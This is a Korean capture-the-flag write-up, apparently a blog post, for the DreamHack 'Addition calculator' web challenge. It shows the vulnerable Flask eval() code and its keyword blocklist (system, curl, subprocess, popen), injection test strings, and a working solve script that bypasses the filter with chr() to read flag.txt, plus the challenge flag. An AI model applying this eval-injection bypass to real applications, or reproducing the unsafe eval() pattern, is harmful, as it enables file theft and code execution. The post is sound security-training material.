[🥈 Silver 3] eval() 화이트리스트 필터를 chr()로 우회하기 — DreamHack Addition calculator 풀이 — ZINO

2026-06-08·1분 읽기·

[🥈 Silver 3] eval() 화이트리스트 필터를 chr()로 우회하기 — DreamHack Addition calculator 풀이

덧셈식을 받아 eval()로 계산하는 Flask 계산기. 따옴표·언더스코어·콤마가 전부 화이트리스트 밖이라 문자열 리터럴을 못 쓰고, flag·system 같은 단어는 블랙리스트로 막힌다. chr() 코드포인트를 +로 이어 "flag.txt"를 조립해 open().read()로 ./flag.txt를 읽어낸다.

#dreamhack #ctf #web #eval-injection #python #filter-bypass #writeup

문제: DreamHack — Addition calculator 분류: Web 난이도: 🥈 Silver 3 FLAG: DH{348566e31c1ebb3e9fb81b1bf60bd22728bc127bfba0ab3cb84a1e965f77f92f}

덧셈 식을 입력하면 결과를 출력해 주는 단순한 계산기다. 내부에서 입력을 그대로 eval()에 넘기는데, 그 앞에 문자·단어 필터가 하나 붙어 있다. 필터의 빈틈을 찾아 ./flag.txt를 읽어내는 게 목표다.

메인 페이지 — 덧셈 식을 받는 입력 폼

문제 개요

항목	내용
문제명	Addition calculator
난이도	🥈 Silver 3
분류	Web
스택	Python 3 · Flask
제공 파일	`app.py` (서버 코드 전체)
핵심 취약점	`eval()` 인젝션 + 불완전한 문자/단어 필터

풀이 흐름은 짧다. eval()에 무엇이든 넣을 수 있다는 걸 확인하고, 필터가 막는 것(따옴표·flag 단어)을 우회해 파일을 읽는 표현식을 만든다. 따옴표가 막혀 문자열을 직접 못 쓰니 로 한 글자씩 조립한다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

N 네이버로 로그인 G 구글로 로그인

댓글 불러오는 중…

Related

관련 글

3개

[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이

[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이

이미지 뷰어가 입력한 URL을 서버가 대신 가져와 보여준다. 같은 프로세스 안에 flag.txt를 서빙하는 내부 SimpleHTTPRequestHandler가 1500~1800 중 한 포트에 떠 있다. 필터는 netloc에 `127.0.0.1`/`localhost` 문자열이 있는지만 보므로, 같은 loopback을 가리키는 `0.0.0.0`으로 우회하고 포트를 전수 스캔해 flag.txt를 읽었다.

#dreamhack#ctf#web

formula = request.form.get("formula", "")
if formula != "":
    if filter(formula):
        return render_template("index.html", result="Filtered")
    else:
        try:
            formula = eval(formula)        # ← 임의 표현식 평가
            return render_template("index.html", result=formula)
        except subprocess.CalledProcessError:
            return render_template("index.html", result="Error")
        except:
            return render_template("index.html", result="Error")

def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])
 
    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True

# analyze_filter.py — app.py의 filter()를 그대로 떼어와 통과/차단을 직접 확인
import string
import re
 
 
def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])
    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True
 
 
allowed = set(string.ascii_letters + string.digits) | set(" .()+")
banned_punct = sorted(set("""'"_,-*/=[]{}:;%!&|^~<>@#?\\""") - allowed)
print("[+] 허용 문자 :", "a-z A-Z 0-9  +  공백 . ( ) +")
print("[+] 차단 문자 :", " ".join(banned_punct))
print("[+] 차단 단어 : system / curl / flag / subprocess / popen  (대소문자 무시)")
print()
 
tries = [
    "1+1",
    "open('flag.txt').read()",
    "open(\"flag.txt\").read()",
    "__import__('os').system('ls')",
    "open(input()).read()",
]
for t in tries:
    print(f"  {'차단' if filter(t) else '통과':4}  {t}")

# solve.py
import requests
import re
 
BASE = "http://host8.dreamhack.games:22906"
 
# "flag.txt" 를 한 글자씩 chr() 로 — f l a g . t x t
name = "flag.txt"
expr = "+".join(f"chr({ord(c)})" for c in name)   # chr(102)+chr(108)+...+chr(116)
payload = f"open({expr}).read()"
 
print("[*] payload :", payload)
 
r = requests.post(BASE + "/", data={"formula": payload}, timeout=20)
 
# 결과는 <pre>...</pre> 안에 렌더된다
flag = re.search(r"<pre>(.*?)</pre>", r.text, re.S).group(1).strip()
print("[+] FLAG    :", flag)